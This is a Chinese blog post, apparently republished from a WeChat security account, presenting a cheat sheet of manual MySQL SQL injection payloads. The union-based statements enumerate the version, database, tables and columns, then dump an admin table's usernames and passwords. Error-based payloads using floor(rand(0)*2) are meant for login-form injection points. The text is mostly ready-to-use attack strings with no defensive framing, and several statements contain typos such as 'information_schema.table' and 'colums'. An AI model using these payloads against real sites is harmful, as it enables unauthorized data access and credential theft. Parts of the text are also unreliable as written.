前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL手工暴库语句

MySQL手工暴库语句

作者头像
网e渗透安全部
发布2019-08-09 14:56:48
1.4K0
发布2019-08-09 14:56:48
举报
文章被收录于专栏:白安全组白安全组

本期给大家整理了一下手工的爆库语句,虽然没有sqlmap那么好,但是在特定的情况下还是很有用,大家可以收藏作为一个笔记使用。

MySQL数据库(5.0以上才可以利用information_schema手工测) union select 1,version(),3,4,5,6,7,8,9,10

//测数据库版本 order by 10

//给列排序

union select 1,2,3,4,5,6,7,8,9,10

//union联合查询,在前面加上and 1=1 报错查询列,比如错误的列是2,那么使用如下的:union select 1,database(),3,4,5,6,7,8,9,10 爆出当前数据库,或者用use()显示当前的用户

union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.table where table_schema='xycms' //当知道了一个数据库名,这条语句的意思就是指定数据库为xycms,查这个数据库所有的表名

union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.colums where table_schema='manage_user'

//假设爆出的表名为manage_user,列出这个表有哪些列名

union select 1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user //爆出了列名,指定一下两个列名,爆里面的数据 MySQL显错注入 (加单引号报错).以下语句直接放到注入的点,如:账号输入框 爆当前数据库用户,直接带入到查询的地方 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b# 爆当前数据库名称 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database() limit 0,1))a from information_schema.tables group by a)b# 爆当前版本号 -999999999' union select 1 from (select count(*),concat(floor(rand(0)*2),(select version() limit 0,1))a from information_schema.tables group by a)b# 爆当前数据库 -999999999' and (select 1 from (select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database()as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆表 //0x64656E67为上面爆出的数据库名的十六进制 'and (select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e)) from information_schema.tables where table_schema=0x64656E67 limit 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 爆字段 'and (select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e)) from information_schema.columns where table_schema=0x64656E67 and table_name=0x75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)x from information_schema.tables group by x)a)#

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档